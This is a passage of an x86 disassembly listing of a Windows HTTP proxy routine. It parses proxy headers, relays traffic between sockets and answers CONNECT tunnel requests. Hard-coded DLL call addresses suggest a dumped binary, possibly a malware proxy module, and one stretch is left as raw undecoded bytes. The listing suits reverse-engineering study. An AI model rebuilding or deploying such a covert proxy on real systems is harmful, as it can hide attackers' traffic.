		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445220 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F60
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445220 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C84 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_445220 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F60
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F60
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		call	near ptr 71AB428Ah
		nop
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B1B4E851h, 83907168h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 69031BE8h, 333D9071h
		dd 75000027h, 0E8016A0Dh, 2586E30h, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
